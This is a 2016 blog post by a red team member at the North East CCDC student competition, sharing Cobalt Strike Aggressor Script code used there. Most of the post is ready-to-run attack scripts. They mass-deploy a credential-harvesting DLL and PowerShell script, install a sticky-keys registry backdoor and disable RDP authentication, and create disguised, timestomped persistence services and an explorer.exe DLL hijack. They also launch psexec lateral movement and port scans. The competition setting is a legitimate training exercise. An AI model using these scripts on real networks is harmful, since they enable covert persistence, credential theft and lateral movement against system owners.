March 16, 2016

I just returned from the North East Collegiate Cyber Defense Competition event at the University of Maine. A big congratulations to the winners, Northeastern University, who will go on to represent the North East region at the National event in April.

The more I use Cobalt Strike 3.x, the more I appreciate Aggressor Script. Aggressor Script is the scripting engine baked into Cobalt Strike. It makes it easy to extend the tool with new commands and automate tasks. This post is a collection of my scripts from the North East CCDC event.

Mass Tasking Beacons

Here and there, I would need to mass-task all Beacons to do something. For example, on late Saturday we wanted to display a YouTube video on all compromised desktops. Here’s how to mass task Beacons with Aggressor Script:

1. Go to the Aggressor Script Console (View -> Script Console)

2. Type:

x map({ bshell($1['id'], "command to run here"); }, beacons());

The above one-liner will run whatever command you want on all of your Beacons. Here’s a quick walk-through of what’s happening:

The x command is an Aggressor Script console command to evaluate a script expression. The beacons() function returns an array of Beacons known to the current Cobalt Strike instance. The map function loops over this array and calls the specified function once, for each element in this array. Within our function, $1 is the first argument and in this case it’s a dictionary with information about a specific Beacon. $1[‘id’] is the Beacon’s ID. In this example, our function simply uses bshell to ask a Beacon to run a command in a Windows command shell. Most Beacon commands have a function associated with them.

During the event, I was asked to deploy a credential-harvesting tool to all Beacons. This required uploading a DLL to a specific location and running a PowerShell script. I used the command keyword to define new commands in the Aggressor Script console to accomplish these tasks.

Here’s the command to upload a DLL to all Beacons:

command upall {
	foreach $beacon (beacons()) {
		$id = $beacon['id'];
		binput($id, "Deploying Silas stuff (uploading file)");
		bcd($id, 'c:\windows\sysnative');
		bupload($id, script_resource("windowsdefender.dll"));
		btimestomp($id, "windowsdefender.dll", "notepad.exe");
	}
}

And, here’s the command to run a PowerShell script against all Beacons:

command deploy {
	foreach $beacon (beacons()) {
		$id = $beacon['id'];
		binput($id, "Deploying Silas stuff");
		bpowershell_import($id, script_resource("silas.ps1"));
		bpowershell($id, "2 + 2");
	}
}

You’ll notice that I use bpowershell(“beacon ID”, “2 + 2”) here. I do this because the imported PowerShell script did not wrap its capability into a cmdlet. Instead, it would accomplish its task once it’s evaluated. The powershell-import command in Beacon is inert though. It makes a script available to the powershell command, but does not run it. To make the imported script run, I asked Beacon to evaluated a throw-away expression in PowerShell. Beacon would then run the imported script to make its cmdlets available to my expression.

Persistence

I went with a simple Windows persistence strategy at NECCDC. I installed a variant of the sticky keys backdoor on all compromised Windows systems. I also created a service to run my DNS Beacons. I relied on DLL hijacking against explorer.exe to run HTTP Beacons. On domain controllers, I relied on a service to kick-off an SMB Beacon. I also enabled WinRM on all compromised Windows systems as well.

Here’s the function to setup the sticky keys backdoor and enable WinRM:

sub stickykeys {
	binput($1, 'stickykeys');
	bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
	bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f');
	bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
	bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
	bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
	bshell($1, 'net start TermService');

	binput($1, 'enable WinRM');
	bpowershell($1, 'Enable-PSRemoting -Force');
}

And, here are the functions to deploy the different services:

sub persist_adsvc {
	if (-exists script_resource("adsvc.exe")) {
		binput($1, "service persistence (server) [AD]");
		bcd($1, 'c:\windows\system32');
		bupload($1, script_resource("adsvc.exe"));
		btimestomp($1, "adsvc.exe", "cmd.exe");
		bshell($1, 'sc delete adsvc');
		bshell($1, 'sc create adsvc binPath= "C:\windows\system32\adsvc.exe" start= auto DisplayName= "Active Directory Service"');
		bshell($1, 'sc description adsvc "Provides authentication and policy management for computers joined to domain."');
		bshell($1, 'sc start adsvc');

	}
	else {
		berror($1, "adsvc.exe does not exist :(");
	}
}

sub persist_netsys {
	if (-exists script_resource("netsys.exe")) {
		binput($1, "service persistence");
		bcd($1, 'c:\windows\system32');
		bupload($1, script_resource("netsys.exe"));
		btimestomp($1, "netsys.exe", "cmd.exe");
		bshell($1, 'sc delete netsys');
		bshell($1, 'sc create netsys binPath= "C:\windows\system32\netsys.exe" start= auto DisplayName= "System Network Monitor"');
		bshell($1, 'sc description netsys "Monitors the networks to which the computer has connected, collects and stores information about these networks, and notifies registered applications of state changes."');
		bshell($1, 'sc start netsys');
	}
	else {
		berror($1, "netsys.exe does not exist :(");
	}
}

sub persist_linkinfo {
	# dll hijack on explorer.exe
	if (-exists script_resource("linkinfo.dll")) {
		binput($1, "dropping linkinfo.dll persistence");
		bcd($1, 'c:\windows');
		bupload($1, script_resource("linkinfo.dll"));
		btimestomp($1, "linkinfo.dll", 'c:\windows\sysnative\linkinfo.dll');
	}
	else {
		berror($1, "linkinfo.dll not found.");
	}
}

Each of these functions requires that the appropriate artifact (adsvc.exe, netsys.exe, and linkinfo.dll) is pre-generated and co-located with the persistence script file. Make sure your linkinfo.dll is the right type of DLL for your target’s architecture (e.g., on an x64 system, linkinfo.dll must be an x64 DLL).

To deploy persistence, I opted to extend Beacon’s right-click menu with several options. This would allow me to send persistence tasks to a specific Beacon or multiple Beacons at one time.

Here’s the code for this menu structure:

popup beacon_top {
	menu "Persist" {
		item "Persist (DNS)" {
			local('$bid');
			foreach $bid ($1) {
				persist_netsys($bid);
			}
		}

		item "Persist (HTTP)" {
			local('$bid');
			foreach $bid ($1) {
				persist_linkinfo($bid);
			}
		}

		item "Persist (SMB)" {
			local('$bid');
			foreach $bid ($1) {
				persist_adsvc($bid);
			}
		}

		item "Sticky Keys" {
			local('$bid');
			foreach $bid ($1) {
				stickykeys($bid);
			}
		}
	}
}

Managing DNS Beacons

Cobalt Strike’s DNS Beacon is one of my preferred persistent agents. The DNS Beacon gets past tough egress situations and a combination of high sleep time and multiple callback domains makes this a very resilient agent.

The downside to the DNS Beacon is it requires management. When a new DNS Beacon calls home, it’s blank. It’s blank because the DNS Beacon does not exchange information until you ask it to. This gives you a chance to specify how the DNS Beacon should communicate with you. Here’s a script that uses the beacon_initial_empty event to set a new DNS Beacon to use the DNS TXT record data channel and check in:

on beacon_initial_empty {
	binput($1, "mode dns-txt");
	bmode($1, "dns-txt");
	binput($1, "checkin");
	bcheckin($1);
}

Labeling Beacons

The NECCDC red team organizes itself by function. Parts of the red team went after UNIX systems. Others infrastructure. A few were on web applications. Myself and a few others focused on the Windows side. This setup means we’re each responsible for our attack surface on 10 networks. Knowing which Beacon is associated with each team is very helpful in this case. Fortunately, Aggressor Script helped here too.

First, I created a dictionary to associate IP ranges with teams:

%table["100.65.56.*"] = "Team 1";
%table["100.66.66.*"] = "Team 2";
%table["100.67.76.*"] = "Team 3";
%table["100.68.86.*"] = "Team 4";
%table["100.69.96.*"] = "Team 5";
%table["100.70.7.*"]  = "Team 6";
%table["100.71.17.*"] = "Team 7";
%table["100.72.27.*"] = "Team 8";
%table["100.73.37.*"] = "Team 9";
%table["100.74.47.*"] = "Team 10";

Then, I wrote a function that examines a Beacon’s meta-data and assigns a note to that Beacon with the team number.

sub handleit {
	local('$info $int');
	$info = beacon_info($1);
	$int = $info['internal'];
	foreach $key => $value (%table) {
		if ($key iswm $int) { bnote($1, $value); return; }
	}
}

This isn’t the whole story though. Some of our persistent Beacons would call home with localhost as their address. This would happen when our Beacon service ran before the system had its IP address. I updated the above function to detect this situation and use bipconfig to fetch interface information on the system and update the Beacon note with the right team number.

sub handleit {
	local('$info $int');
	$info = beacon_info($1);
	$int = $info['internal'];
	foreach $key => $value (%table) {
		if ($key iswm $int) { bnote($1, $value); return; }
	}

	# if we get here, IP is unknown.
	binput($1, "IP is not a team IP. Resolving");
	bipconfig($1, {
		foreach $key => $value (%table) {
			if ("* $+ $key" iswm $2) {
				binput($1, "IP info is $2");
				bnote($1, $value);
			}
		}
	});
}

My script used the beacon_initial event to run this function when a new Beacon came in:

on beacon_initial {
	handleit($1);
}

I also had an Aggressor Script command (label) to manually run this function against all Beacons.

command label {
	foreach $beacon (beacons()) {
		handleit($beacon['id']);
	}
}

The end effect is we always had situational awareness about which teams each of our Beacons were associated with. This was extremely helpful throughout the event.

One-off Aliases

My favorite part of Aggressor Script is its ability to define new Beacon commands. These are called aliases and they’re defined with the alias keyword. Through NECCDC I put together several one-off commands to make my life easier.

One of our tasks was to expand from our foothold on a few Windows client systems to other systems. We had multiple approaches to this problem. Early on though, we simply scanned to find systems where the students disabled their host firewall. Here’s the alias I wrote to kick off Beacon’s port scanner with my preferred configuration:

alias ascan {
	binput($1, "portscan $2 445,139,3389,5985,135 arp 1024");
	bportscan($1, $2, "445,139,3389,5985,135", "arp", 1024);
}

To run this alias, I would simply type ascan [target range] in a Beacon console.

I also had an alias to quickly launch a psexec_psh attack against all the other client systems as well. I just had to type ownall and Beacon would take care of the rest.

alias ownall {
	bpsexec_psh($1, "ALDABRA", "Staging - HTTP Listener");
	bpsexec_psh($1, "RADIATED", "Staging - HTTP Listener");
	bpsexec_psh($1, "DESERT", "Staging - HTTP Listener");
	bpsexec_psh($1, "GOPHER", "Staging - HTTP Listener");
	bpsexec_psh($1, "REDFOOT", "Staging - HTTP Listener");
}

If you made it this far, I hope this post gives you a sense of the power available through Aggressor Script. I can’t imagine using Cobalt Strike without it. It’s made mundane tasks and on-the-fly workflow changes very easy to deal with.

Follow

Get every new post delivered to your Inbox.

Join 18,600 other followers